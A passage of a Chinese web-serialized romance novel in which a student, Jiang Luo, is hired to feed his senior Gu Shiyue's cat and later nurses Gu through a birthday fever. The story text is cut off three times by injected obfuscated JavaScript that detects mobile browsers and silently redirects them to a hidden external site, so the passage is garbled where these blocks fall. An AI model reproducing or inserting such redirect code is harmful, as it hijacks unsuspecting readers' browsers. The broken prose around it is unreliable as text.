吃完蛋糕大家伙又闹了一会儿就散场了,戚雪影有她朋友送,顾时越负责送江洛和程嘉树回学校。 程嘉树开门坐进了车里,两个人都坐后座的话不是很礼貌,显得送他们回去的顾时越跟个专职司机似的,于是江洛走到窗边问顾时越:“学长,我可以坐副驾吗?” 顾时越点了下头。 江洛上了车,系安全带的时候听见顾时越说:“坐就坐,还问我干什么。” 江洛笑了笑:“万一学长不喜欢别人坐在你旁边呢,我总要提前征求一下你的意见。” 顾时越说:“那你怎么不坐后面,都不用征求我的意见。” 其实顾时越知道江洛为什么会坐副驾,他就是想看看江洛会怎么回。 江洛笑呵呵道:“坐后面多有距离感啊,跟你说话都不方便。” 江洛本来就有点自来熟,他对顾时越的好印象更是促使他会主动拉近跟对方的距离。距离一近,说话就有点不着调了。江洛性格是挺外向,但他不是跟谁都这样,他觉得顾时越人好,跟他投缘,就愿意亲近他。比如刚才,比如现在,他跟顾时越说话都显得有点亲近,这是无意识的。 程嘉树今天喝了不少,人倒是没醉,挺清醒的,就是嘴碎,话比平时更多了。他坐在后排中间,扒着椅背跟顾时越闲聊,介绍完自己和江洛的专业,又问顾时越是哪个专业的。 “飞设。”顾时越说。 程嘉树没听明白:“什么?” “飞行器设计与工程。”顾时越说了一下全称。 程嘉树愣了一下才反应过来:“我靠,牛啊。” 这是他们学校的王牌专业,含金量特别高,分数也高,很难考。 江洛转头看了眼顾时越:“好厉害。” 顾时越侧眸看他一眼,江洛看着他,眼睛亮晶晶的。他这个天然捧场王又开始给他学长戴高帽了,而且是发自内心的。 程嘉树太能聊了,半路上江洛怕他影响顾时越开车,说了一句:“你歇一会儿吧,别一直跟人家说话了,学长开车呢,多不安全。” “行行,不说了。”程嘉树安分地坐了回去。 江洛刚才还说坐副驾是为了方便跟顾时越说话,结果他没说几句话,倒一直是程嘉树在说。 “对了。”程嘉树忽然想起了什么,对顾时越说,“越哥你一会儿在锦园小区放我下来吧,就咱学校附近的那个锦园小区,你按现在的路线开马上就能到了,我今天不回学校。” 顾时越“嗯”了一声。 “麻烦了嘿,越哥。”程嘉树说着拍了下江洛的肩膀,“今天上我那儿去吧,打游戏去。” 江洛说:“这都几点了,还打游戏。” “开玩笑,明天周六,今夜我无眠,战斗到天明。” 江洛也是服了这位网瘾少年:“我不去了,明天还要早起打工。” “怎么又要打工,你这周不是不用去咖啡店吗?” “闲着也是闲着,我找了个零工。” “我真服了。”程嘉树手伸过来在他额头上拍了一下,“你也适当让自己喘口气吧。” 顾时越半道把程嘉树在锦园小区放下了,随后又送江洛回了学校,他送这两人不麻烦,都顺路,不过到家也已经十二点半了。 顾时越进门换鞋,棉团听到动静慢慢悠悠地走过来,撅着屁股在他面前伸了个大大的懒腰。棉团是他妈妈在世时养的猫,一只上了年纪但很健康肥硕的布偶,他妈过世很多年了,那之后棉团一直是顾时越在养。 顾时越俯身挠挠棉团的下巴,棉团眯着眼睛翻了个身往地板上一趟,四脚朝天求摸摸,顾时越弯着食指敷衍地在它肚皮上刮了一下,就径直走进了客厅。 顾时越没那么喜欢猫,他对棉团属于爱屋及乌。棉团这黏人劲儿碰上他就是媚眼抛给瞎子看,摸你两下就得了。 老胖猫打个滚不容易,吭哧吭哧翻身起来,“喵喵”叫着跟在顾时越后面。 顾时越去厨房倒了杯水,口袋里手机震动起来,是戚雪影打来的电话。 “哥,到家了吗?”戚雪影问。 “到了。” 戚雪影已经联系过江洛和程嘉树了,刚才给顾时越发消息他一直没回,她才打了通电话过来。 “到了就好。”戚雪影笑了下,“对了,我刚听江洛说你们俩之前还一起打过游戏,你们学长学弟什么时候混这么熟啦?” “他倒是什么都跟你说。”顾时越喝了口水,微微挑了下眉,“你跟他很熟?” 今天要不是在戚雪影的生日聚会上碰到江洛,顾时越还不知道他和戚雪影是朋友。顾时越以为他们俩顶多是“委托人”和“被委托人”的关系。 “熟。”戚雪影笑了,她确实没跟顾时越提过她和江洛早就认识,“我们俩不是单纯的金钱交易关系,洛洛是我朋友。” 想到每次碰见江洛他不是在打工就是在打工的路上,顾时越随口问了句:“他很缺钱?” 这话问得没头没尾的,戚雪影差点没反应过来:“你说江洛吗?” “嗯。” 戚雪影“嗯”了声,说:“挺缺的。” 具体为什么缺钱她没跟顾时越说,这是江洛的私事,她不可能随便去跟别人说这个。 顾时越也感觉到戚雪影话只说了一半,但他没有追问。 “怎么突然这么问啊?”戚雪影问他。 “每次碰到他都在打工。” 戚雪影先是笑了下,然后叹了口气,声音轻轻的:“他挺辛苦的。” 棉团走到顾时越脚边趴了下来,“喵呜”叫了一声。顾时越垂眸看了猫一眼,他不知道自己在想什么,可能是觉得江洛性格讨喜合眼缘,也可能是因为产生了恻隐之心,他沉默了片刻,忽然对戚雪影说:“我明后两天要去北京听讲座,猫在家没人照管,你可以问问江洛愿不愿意帮我喂猫。有偿。” 戚雪影差点没反应过来:“……什么?” 戚雪影举着手机愣了一会儿,确认道:“你是说让他去你家帮你喂猫?棉团?” “嗯,我不在家本来也要找人上门喂它。”顾时越说,“费用按次结,三百一次” “我天……三百一次,你可真是菩萨啊。”戚雪影笑了起来,“哥,你说真的啊?不是开玩笑?要是真的我就跟他说了啊。” “你觉得我很闲吗。” 戚雪影笑道:“行,你等会儿啊,我现在就问他。” 戚雪影说完就挂电话去找江洛了,江洛刚洗好澡,今天周五,室友都还没睡,要么在床上玩手机,要么在床下打游戏。江洛在床上躺着,看到戚雪影的消息直接坐了起来,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812752|190239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对床的室友吓了一跳:“咋了这是,挺尸啊?吓我一跳。” 江洛盘腿坐床上回消息:什么意思啊影总? 戚雪影:字面意思呀 戚雪影:顾学长要你去帮他喂猫猫 戚雪影:一次三百 江洛:三百??? 戚雪影:嗯啊 江洛:真的假的啊? 戚雪影把顾时越的微信名片发了过来:要不还是你自己问问他是真的还是假的。 江洛:他怎么突然想起来找我帮他喂猫? 戚雪影:不知道呢,刚刚突然问我你是不是缺钱,说每次碰见你你都在打工。 江洛看着屏幕一愣,随后握着手机笑了起来。 难怪呢。 江洛:你哥人真好 戚雪影:是,很好的 戚雪影:对你好像格外好 江洛:啊 戚雪影:我感觉他挺喜欢你的 江洛看着屏幕哽住了:影总,这话可不能乱说…… 戚雪影:哈哈我说的不是那种喜欢,看把你吓的。 江洛:[捂脸]我知道,不是那种意思也别这么说,万一被学长知道了不太好。 戚雪影:放心,不会的,知道也没关系,他没你想的那么可怕 戚雪影:我把他微信名片发你了,具体你自己跟他聊哟 江洛:好 顾时越去浴室冲了个澡,出来的时候手机上多了条好友申请,是江洛的。 好友申请通过,江洛立马发了条微信过来:学长! 顾时越躺上床,单手打字回复:嗯 江洛:我以为你睡了 顾时越:刚在洗澡 江洛:嗯嗯 江洛:那个那个,影总让我直接找你聊 顾时越:嗯 顾时越:怕猫吗? 江洛:当然不怕! 也是,要是怕猫还加他好友干什么,这个问题问得有点多余。 门没关严实,棉团从门缝里挤进来,“喵呜喵呜”地走到床边,仰头看着顾时越,它伸出一只爪子扒拉床单,想睡床的心思昭然若揭。 顾时越不让,朝门口抬了抬下巴:“自己睡,出去。” 养了快十年的老猫咪了,很通人性的,顾时越表达的意思它基本都能理解,它又扒着床沿“喵呜”了一声,见顾时越无动于衷,最后只能扭着屁股可怜巴巴地出去了。 其实平时顾时越有事不在家的时候,都是让家里的保姆过来照料棉团。顾时越以前从来没雇人上门喂过猫,他是不可能让陌生人随便踏进自己的住所的。 所以他也觉得今天这个想法来得莫名其妙——怎么就想起来让江洛来替他喂猫。 江洛坦诚交代:不过我没养过猫,零经验你还愿意雇我吗?我今天晚上就狂刷养猫视频,恶补。 顾时越:不用恶补,没你想的那么复杂。 江洛:那你雇我不? 这话问的。 顾时越反问:不雇的话怎么说? 江洛:那我就扁扁地走开。 顾时越嗤笑一声。 江洛:哈哈哈我开玩笑的 江洛:你还是雇我吧[可怜]我会好好干的。 顾时越:好,雇你。 江洛:谢谢老板! 10.第 10 章 江洛的消息又发了过来:学长,你跟我讲下细节呗,您的需求和要求。 顾时越:家里有自动喂食机,你看情况喂点零食就行,别喂太多,它嘴馋,别惯着。 顾时越:主要是陪它玩,带它下楼走走,它喜欢遛弯,玩和遛时间都不要超过一小时。 江洛:收到收到。 江洛:还有其他要求吗? 顾时越:没,就这样。 顾时越:费用多少戚雪影跟你说了没有? 江洛:说了说了,学长,三百有点太多了,用不了这么多的。 顾时越:我说了,喂猫是次要的,主要是陪它玩。 江洛:那也用不了那么多啊,太多了,折合时薪都多少嘞。 顾时越给的费用已经超过江洛的劳动价值了,江洛觉得不该是这个价。虽然戚雪影说顾时越不差钱,让江洛别替她哥心疼这点钱,但谁的钱也不是大风吹来的不是? 顾时越:定了三百就是三百,你要是觉得不合适交易就终止。 江洛:别别别 江洛:你刚才答应了雇我的…… 顾时越:你不是觉得三百不合适吗。 顾时越:不合适就不雇了。 江洛:[苦涩][苦涩][苦涩] 江洛:你咋这样啊学长…… 顾时越:我怎样? 江洛过了一分钟才回:没有怎样,嘿嘿。 乙方哪有跟甲方犟的道理,到时候弄得两方都不舒服,江洛可有眼力见儿了,顺坡就下,他改口了。 江洛:合适的。 江洛:雇我吧。 顾时越不放过他:把话说完,我怎样? 江洛发了张星星眼的小狗表情包想糊弄过去:可不可以不说啊。 顾时越:不可以。 江洛:说了你就不雇我了。 顾时越:你觉得你不说我就会雇你了? 江洛:[苦涩] 过了一会儿江洛才老老实实地回:我觉得学长稍微有点专制。 换个词就是“强势”,但这个词发出去怪别扭的,江洛就换成了“专制”,想着这还有点开玩笑的语气,结果发完才发现这个词也很别扭。 现在再撤回也没意思了,就这么着吧。 顾时越看着屏幕微微挑眉。 江洛又发了张小狗对手指的表情包过来,表情包配字[对不起,真的对不起],卖萌致歉一条龙。 顾时越回了句:嗯,我是这样。 第二天傍晚,江洛一下班就去顾时越家里喂猫了,这会儿太阳还没落山。 顾时越住的地方离他们学校很近,坐地铁一站就到了。江洛刚到小区门口就明白为什么戚雪影会说她哥不差钱了。 从外面就能一眼看出来这里是高档小区,而且是相当高档的那种。一户一梯,上楼要按指纹,江洛按不了,只能输数字密码。 开门进屋,江洛闻到了一股熟悉的淡香,这是顾时越身上的味道,昨天江洛撞到他的时候就有闻到,形容不出来是什么香味,就是淡淡的,很好闻。 顾时越住在顶层,江洛一进来屋里的灯就亮了,好像是感应的。他杵在那儿往里面看了一眼,听见“喵呜”一声,一只特别漂亮的布偶翘着尾巴踏着碎步朝他快步走来。看见江洛,它脚步慢了下来,最后停在两米之外歪着脑袋看着他。 江洛被可爱到了,蹲下来跟它说话:“你好啊,棉团。” 棉团晃晃尾巴,“喵”了一声,试探地走向他。 棉团性格温顺,不怕人,它确认江洛不存在危险性后就主动走到了他面前。 “我叫江洛。”江洛用手指在它毛茸茸的前爪上蹭了蹭,“晚上好。” 老胖猫立刻就贴上来了,脸在江洛膝盖上蹭了一下。 “怎么这么乖。”江洛忍了半天,终于还是上手了,抱进怀里摸了又摸。 猫咪身上也是香香的,不过不是顾时越身上那种香味。这一波属于双向奔赴,江洛吸猫吸了个爽,棉团也非常享受,窝在江洛怀里放松极了。江洛直接盘腿而坐,在玄关搂着棉团玩了一会儿。 老胖猫的体重不容小觑,趴江洛腿上一会儿,江洛的腿就麻了,站起来些许困难。 早上顾时越给江洛发了条微信,跟他说拖鞋在鞋柜最底层,让他自己拿了换。顾时越要是不提这个,江洛今天可能就直接不穿鞋进去了,他肯定不可能随便去开人家的鞋柜。 江洛打开鞋柜,拿了最底层的一次性拖鞋,眼睛都没往上面扫,拿完拖鞋就把柜门关上了。 江洛走进客厅才意识到这间屋子有多大,这是一套大平层,程嘉树在锦园租的那套公寓不算小了,但跟这里比起来就是小巫见大巫了。 棉团有自己的房间,屋里有一面墙直接改造成了猫爬架,旁边是床和滚轮跑步机,还有各种给猫玩的玩具。 棉团跳上猫爬架,往睡袋上一躺,江洛捏捏它的爪爪,心想真是个幸福的猫猫。 唯一的不幸福大概就是这辈子没法找老婆——棉团是个绝了育的猫公公。 江洛给棉团喂完零食又陪它玩了一会儿,还顺带收拾了一下猫砂,然后就给它套上背带准备带它下楼遛弯。精致猫猫出门要穿鞋,还有配套的小帽子,江洛挑了套粉色的给它换上,牵着它出门了。 江洛拍了好几张棉团的照片发给顾时越,实时报备猫咪情况,顾时越过了好久才回了个“嗯”。 江洛发了张棉团散步的照片,附言:喵咪散步中 顾时越回:打扮成这样,可以送去相亲 江洛:哈哈哈哈哈,我在它衣柜里挑的,不是学长你买的么 顾时越:不是 棉团的衣服玩具都是顾时越托保姆买的,他平时不操心这些。这顶小粉帽他还是第一次见,从来没给棉团戴过,不知道江洛从哪个犄角旮旯翻出来的。 而且顾时越平时带棉团出去遛弯很少给它戴帽子,没那耐心。别看棉团的房间布置得这么精致,其实顾时越照顾它没那么精细。如果说棉团在江洛眼里是小公主,那在顾时越眼里就是小公公,没有任何滤镜。 江洛:啊,不是你买的啊 江洛:还挺适合它呢,回头率老高了 顾时越:闹人吗? 江洛:你说棉团?不闹啊,可乖了 江洛和顾时越对“闹”的定义不一样,顾时越觉得猫老黏着自己那就算是闹了,江洛则不然。 顾时越:嗯,别遛它太久 顾时越:到时间了它要是不肯回去不要惯着 顾时越:拖也拖回去 江洛:明白! 顾时越预判了结局,到点江洛准备回去的时候棉团果然不愿意,江洛牵着它往回走,它梗着脖子杵在那儿不动,哄半天没用,江洛只能把它抱了起来。 换顾时越遛它不会出现这种情况,因为顾时越从来不惯着它。棉团年纪已经有点大了,虽然身体很健康,但也不太适合这么长时间的活动。 江洛怀里抱着大肥猫,斤两实实在在地压在身上,一路回家把他累够呛。 走前江洛拍了最后一张猫咪照给顾时越,几分钟后顾时越回了一句“今天有没有听话”。 顾时越这话问得掐头去尾的,江洛看着消息愣了一下,还以为他发错人了。 江洛:啊? 顾时越:我说猫。 顾时越:回去的时候有没有听话。 江洛:噢噢 江洛:被你预判到了,不肯回,我抱上楼的 顾时越:沉吗 江洛:挺沉的,我的肱二头肌已经初步成型 顾时越:工伤了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823327|190239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江洛:哈哈哈哈哈 加了个微信好友俩人好像就莫名熟了起来,你一句我一句聊得还挺融洽。江洛发现这位顾学长并没有他想象中那么冷淡,距离感还是有,但他不是那种高高在上不苟言笑的性格,有时候说话还会冷不丁开开玩笑,有种冷冷的幽默。 第二天江洛也来了,流程跟第一天差不多,第二天棉团更亲江洛了,会主动躺下来给他摸肚皮。 江洛喂了两天猫还整出了戒断反应,回宿舍躺床上的时候还在想棉团。 这么漂亮亲人的猫猫谁能不惦记。 江洛和顾时越再次联系上是在一周后,还是喂猫的事。这个周末顾时越要去外地参观航空展,照顾猫猫的任务又交给江洛了。 顾时越已经大四,平时课不多,时间相对来说比较自由,他周五就走了,一行人原计划周一回来,结果组里有个人水土不服身体不适,就决定提前返程。 偏巧航展结束,赶上一场突如其来的大雨,几个人匆匆忙忙跑回车里还是被淋了个透。酒店已经退了,又要赶飞机,一伙人就这么狼狈地赶去了机场。 夏末秋初的季节,气温已经降下来了,雨淋了一身还是有点冷的。外面下着大雨,开不了窗,关了空调窗户又容易起雾,顾时越坐在副驾,冷气对着他直吹也没当回事,坐后面的项勤拍了下他肩膀,提醒了句:“空调往旁边掰掰,别对着吹,你也不怕吹感冒了。” 顾时越把出风口往旁边一拨,他这人正常情况下都带着一身冷气,更别说现在了,淋雨让他的冷具象化了。 项勤碰了他一下跟摸了块冰雕似的,指尖都是冰凉冰凉的。 飞机落地的时候顾时越的头发和衣服差不多都干透了,打开手机有戚雪影的未接来电,顾时越回拨了过去。 “喂?” “怎么一直没接电话啊?”戚雪影问。 “刚下飞机。” “你去外地了?” “嗯。” “你是刚回来还是刚出去啊?” “刚回来。怎么了,有事?” 戚雪影笑了声:“今天你生日,你又忘了吧。” 顾时越和戚雪影的生日离得很近,所以戚雪影记得挺清楚的。顾时越他妈过世后他就没再正儿八经过过生日了,他爸的心思都在公司集团上,忘记他生日是常有的事。 他每年生日都过得很随意,记得就请朋友吃个饭,记不得就这样过去了。 今年就忘了。 顾时越说:“嗯,忘了。” “礼物我给你送家里去了,跟你说一声,刚打你电话没人接。” “嗯,知道了。” “生日快乐啊。”戚雪影笑着说,“身体健康,长命百岁。” “谢了。” 顾时越要回家拿东西,没跟项勤他们一起走。上了出租车他才感觉到头有点沉,刚才浑身还是冷的,这会儿体温直升,手心都是烫的。他闭了闭眼,四肢有些乏力。 顾时越一进门管家就迎了上来,保姆从鞋柜里拿出拖鞋,端端正正地摆在地上。 顾时越换鞋进屋,管家跟在后面问他今天在不在家吃晚饭。 顾时越摇头,问他:“有没有人送东西过来?” “有的。”管家转头,示意保姆把客厅茶几上的东西拿过来。 顾时越接过保姆手里的袋子,他看起来有点没精神,管家关心地问他是不是身体不舒服,说他脸色有点差。 顾时越说“没有”,刚准备走,大门突然打开了,他爸解着西装纽扣从外面走进来,身后还跟着助理。 顾宏动作一顿,看着顾时越一时间没说话。家里不止一位保姆,另一位保姆赶忙迎上去,帮他脱掉西服外套。 “还知道回来。”过了半分钟顾宏才开口,语调没什么起伏。 11.第 11 章 顾宏走进客厅,解下领带递给一旁保姆,而后看了一眼顾时越手上拿的东西。一个深蓝色的礼品袋,还用丝带打着蝴蝶结。 他正纳闷,顾时越已经径直朝门口走去了,顾宏叫住他:“走什么,不在家吃饭了?” 顾时越“嗯”了一声,头也没回一下,顾宏沉着声音道:“坐那儿,有话跟你说。” “有什么话直接说。” “我让你坐那儿。”顾宏脸色沉了下来。 顾时越转过身,脸上没什么表情:“有话直接说。” 父子俩对峙了半分钟,顾宏压下脾气:“还有一年就毕业,你也该考虑出国的事了。” 父子俩几个月没见,好不容易碰上一面顾宏说的还是老生常谈的事,要顾时越换专业,出国留学,未来继承家业。 顾时越不多言,只道:“这是我自己的事,不需要你替我做决定。” 顾宏压着火气:“我由着你胡闹多久了?是不是我给你的自由太多了,让你有胆一而再再而三地试探我的底线。” “你要是还想说这个那可以到此为止了,我要说的也已经说了。” 顾时越跟他爸没话说,也吵不起来,只要他爸不踩他的红线。他说完就开门出去了,顾宏气得脸色铁青。保姆小心翼翼地递来茶杯,顾宏怒意未消,皱着眉问管家:“他回来干什么?” “他回来拿东西,是戚小姐送来的,应该是……礼物。”管家犹豫了一下,低声提醒,“先生,今天是小越的生日。” 顾宏一愣,转头看了管家一眼。 顾时越和他爸关系不好,他很少回他真正意义上的“家”。 回去的时候是家里司机送的,顾时越坐上车后感觉脑袋越发沉了,手机震了震,他抬起屏幕看了眼,他舅舅发了两条语音过来—— “生日快乐啊。” “忙忘了,才想起来。” 手机又震了一下,他舅舅给他转了个很大的生日红包,然后直接打了通语音电话过来。 顾时越接了电话。 “电话接得挺快啊,红包怎么不收。” 顾时越也不跟他舅装客气:“还没来得及收。” 梁思恒从烟盒里抽了支烟咬进嘴里,咬着烟问他:“今天生日怎么过?” “不过。” 梁思恒嗤笑一声:“不过就不过吧,也没什么意思。” “怎么有空给我打电话,不忙?” “忙。”助理给梁思恒点上烟,梁思恒咬着烟吸了一口,吐出一圈白烟,“我大外甥过生日,再忙也得打个电话慰问不是。” 梁思恒的公司在北京,常年国内国外地飞,神龙见首不见尾的,顾时越一年到头见不了他几次。 梁思恒是前几年才去北京那边发展事业的,他今年三十七,只比顾时越大了十来岁。顾时越刚生的时候他这个小舅舅还在上学呢,那会儿年轻,性格有点混不吝,从小带着顾时越一起玩一起闹。梁思恒去北京发展之前,顾时越是在他眼皮底下长大的。 顾时越现在住的房子就是他舅舅的。 梁思恒工作忙应酬多,跟顾时越没聊两句就挂电话了。 顾时越淋了雨吹了冷气,受凉了,一路上昏昏沉沉的,到家后直接躺在了沙发上。棉团“喵喵咪咪”地跑过来,几天没见主人有点激动,跑得乱七八糟,四条腿各跑各的。 顾时越无力顾及它,躺在那儿一动不动。棉团喵喵直叫,跳上沙发在他颈间蹭了蹭,好像在检查主人是不是还活着。顾时越微微睁开眼,掌心覆在它头顶轻轻摸了摸,低声说:“我没死。” “喵……” “别靠着我,热。” 顾时越提前回来并没有通知江洛,所以江洛今天还是照常过来喂猫了。 江洛进门发现灯亮着,愣了一下,今天棉团也没像之前那样跑来门口迎接他。他没有贸贸然进去,站在玄关问了一声:“有人吗?” 没人应声。 江洛又喊了声:“棉团?” 人没应,猫应了——棉团跑过来了。 江洛犯糊涂了,心想家里灯开着怎么没有人。他换上拖鞋走进客厅,看见沙发上躺着个人冷不丁吓了一跳。 江洛停在原地,看清那是顾时越后,轻轻叫了声:“学长?” 沙发上的人没有动静,江洛看了棉团一眼,想着顾时越既然提前回来了,那今天应该没他什么事了,就直接走吧。 刚转身要走,江洛又觉得不对劲,就算睡着了,他进屋那么大动静,还有叫的那几声应该也能把人吵醒了吧,然而顾时越躺在沙发上一动都没动,实在有点不正常。 江洛走近沙发又叫了声:“学长?” 顾时越还是没反应,闭眼躺在沙发上,头靠着靠枕,微微侧向一边。从江洛的角度能看到他的睡颜,他脸颊泛红,脖子上都是汗,呼吸也很沉。 这样子看着像发烧了,江洛走近了些,在沙发旁边蹲了下来,想把他叫醒:“学长?” 顾时越眼皮微微动了一下,没醒。 如果真发烧了肯定要把他叫醒,不能就让他这么睡在这。江洛想碰碰顾时越的额头检查他有没有发烧,结果手刚摸上去的时候顾时越就睁开了眼睛。 顾时越的脸近在咫尺,因为太英俊,所以给人视觉冲击感很强。顾时越的鼻梁很挺,眉骨很高,眉眼立体又深邃。他的瞳仁很黑,眼型偏狭长,眼尾微微上扬,因为有点眉压眼,眉眼间天然透出几分凌厉和冷感。 江洛的手覆在顾时越额头,掌心传来明显的热度,顾时越睁着眼睛盯着他。江洛一动不动愣在那儿,掌心的热度仿佛瞬间传到耳朵上去了,只是想检查体温结果被抓个正着,还被人这么盯着,不知道是尴尬还是怎么,江洛耳朵蹭的一下红了。 顾时越和江洛四目相视,漆黑的瞳仁里映着江洛的脸。江洛终于反应过来,忙把手收回来,小声解释:“我看你躺在这儿一动不动脸又有点红,想摸……碰碰你有没有发烧。” 顾时越“嗯”了声,看着他,问:“烧了吗。” “烧了呀。”江洛眼睛都瞪大了,“那么烫。” “嗯。”顾时越烧得有点厉害,昏昏沉沉的只想睡觉,他应了一声就闭上眼睛,把头偏到了一边。 “学长,你不去医院么?”江洛问。 顾时越小幅度地摇了下头。 “你得去医院啊,烧得这么厉害。” 顾时越闭着眼没说话,直接不理人了。 江洛很讨厌去医院,但顾时越这个情况肯定要去医院挂水的,他跟顾时越说:“学长,你起来我送你去医院呗。” 顾时越微微睁开眼,看他一眼:“我不去医院。走吧,不用管我。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827562|190239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那不行,你都烧成这样了……”江洛有点没辙,“你要实在不想去医院,那要不吃点退烧药?你家有药吗?” 顾时越闭上眼说“茶几底下”。 江洛立马去茶几底下的柜子里翻了翻。戚雪影送的礼物被顾时越放在茶几上,生日贺卡从袋口滑了出来,江洛找药时瞥到了贺卡上的生日祝福,才知道今天原来是顾时越生日。 药箱里有额温枪,江洛顺带给顾时越测了□□温。 确实是发烧了,烧得还不低。 江洛去厨房倒了杯水,拿着药在沙发旁边蹲下,轻声叫顾时越:“学长,吃药了。” 顾时越没睁眼,“嗯”了一声:“放那儿,等会儿我自己吃。” “现在就吃吧,等会儿你又睡了。”江洛听他说话想是快睡着了,他问道:“学长,今天是你生日啊?” “嗯。”顾时越声音很低。 这个点躺在这儿,江洛怀疑顾时越可能还没吃晚饭:“学长你吃晚饭了吗?” “没。” 江洛有点担心,发着烧,还没吃晚饭,不吃药也不去医院。 “我去给你煮点粥吧,可以借用一下你家厨房吗?” 顾时越确实快睡着了,江洛后面说的什么他都没过脑,过脑的也立马忘了,他嘴唇微动,随口应了一声:“嗯。” “你先把药吃了吧。”江洛把药递过去,试图叫醒顾时越,可是后来他再怎么叫顾时越都不应了,彻底睡死过去了。 江洛去厨房把粥煮上,还做了碗面。他在洗手间抽了几张洗脸巾,浸了冷水又挤干,想给顾时越擦擦脸降降温。 脸上冰冷的触感让顾时越一下子就醒了,他睁开眼,入眼是一双熟悉的漂亮眼睛。 江洛俯着身子帮他擦脸,看着他眼睛眨了眨:“醒了啊?” 顾时越有点恍惚,看着眼前的男生,意识逐渐回笼。他感觉自己睡了很久,压根没想到江洛竟然还在这儿。 江洛帮他擦着额头的汗,笑了笑:“是不是太凉了,给你冻醒了。” 顾时越突然抬手,圈住了江洛的手腕,往上抬了下,似乎是在阻止他的动作。江洛一愣,手顿住了。 “干什么?”顾时越的嗓音透着刚睡醒的哑,他睡了几十分钟,精神似乎比刚才好了一些,但身体还是很烫,他圈着江洛的那只手烫得江洛的手腕快要烧起来似的。 “我想给你降降温……”江洛有点尴尬,想把手收回去,谁知顾时越“嗯”了一声,握着他的手腕又把他手放回了自己额头上,然后松开了手。 江洛尬在那儿动也不动,不动也不是,看着顾时越问了一句:“学长,啥意思呀?” “不是帮我降温吗。” “我以为你不喜欢别人碰你呢,给我尴尬的。”江洛笑了下,“你都醒了,要不自己降?” 顾时越说:“你降。” 江洛失笑:“好的吧。” 洗脸巾已经不冷了,江洛说:“我去换块洗脸巾,你先起来把面吃了吧,再不吃该坨了。” 江洛说着去厨房端了碗面过来,放在茶几上。很简单的鸡蛋番茄面,加了几根青菜,面上还摆着刻成“生日快乐”的胡萝卜片。 顾时越看见那几片刻成字的胡萝卜,抬眸看了一眼江洛。 江洛弯着眼睛笑笑:“生日快乐,学长。” 12.第 12 章 顾时越默不作声地看着那碗生日面。 “我才刚知道今天是你生日,就简单做了碗面。”江洛说,“生日嘛,要吃面的。不过味道可能不怎么好,我厨艺不是很行。” 顾时越问:“胡萝卜是你刻的?” “是啊。”江洛笑了笑,“怎么样,刻得还算像样吧?我搞了好久。对了学长,我要跟你报备一下,为了刻这个,我消耗了冰箱里三根胡萝卜。” 江洛拉了拉耳垂,有点不好意思:“本来不需要那么多的,我技术不太行,浪费了两根。” 顾时越说:“没事。” 江洛笑眯眯地看着他:“边角料我没丢,装起来放冰箱了,可以给棉团做猫饭。你觉得行不?” 顾时越点头道:“可以。” 冰箱里的胡萝卜本来就是给棉团吃的,顾时越本人非常讨厌吃胡萝卜。 棉团听到自己的名字跳上了沙发,往顾时越怀里一钻,敦敦实实地趴下了。顾时越垂眸看着它:“下去。” 老胖猫对自己的体重是没有概念的,它只是想贴贴,它有什么错。 棉团很听话的,顾时越一下指令它就起身去别处趴着了。它对顾时越的冷漠俨然已经习惯,趴在那儿慢悠悠地舔爪子洗脸脸。 江洛有点想笑:“学长,你对小猫咪也太冷漠了。” 顾时越看了棉团一眼:“它这体型称不上小猫咪。” 江洛笑出了声。 江洛把茶几上的药和水拿过来,递给顾时越:“先把药吃了吧。” 顾时越把退烧药吃了,江洛又说:“我还煮了粥,你要是没胃口的话还可以喝点粥。” 顾时越“嗯”了声,然后吃了口面,江洛虽然对自己的厨艺不抱期待,但还是屏住呼吸眼巴巴地盯着顾时越,问了一句:“味道怎么样?” 顾时越看他一眼:“想听真话还是假话?” 江洛笑了,手指在膝盖上抠了抠:“你这跟说真话也没啥区别了。” 他不死心地问了一句:“真的不好吃啊?” 顾时越点了点头。 江洛心死了:“那你喝粥吧,粥肯定没问题。我去给你端碗粥。” “不用。”顾时越说,“吃这个就行。” “别吧,难吃就不吃了。” “没有难吃到吃不进去的程度。” “那好吧。”江洛笑了下,莫名有点感动,除了他家里那位疑似味觉有问题的亲弟弟,还没有谁像这样主动愿意吃他做的东西呢。 江学弟对顾学长的滤镜在膨胀。 江洛对顾时越说:“学长,要不一会儿你还是去医院挂个水吧,挂水好得快。” 顾时越说:“不去。” “还是去吧。” “说了不去。” 江洛叹了口气,顾时越不去他也不可能硬拉着他去,他问顾时越:“棉团是不是还没下去遛弯?你先吃着,我先带它出去遛遛?” “嗯。” 江洛嘱咐道:“你吃完了把碗放这儿就回房休息吧,一会儿我来收拾。记得还要拿冷毛巾降降温,最好敷在大动脉。” 顾时越点了点头。 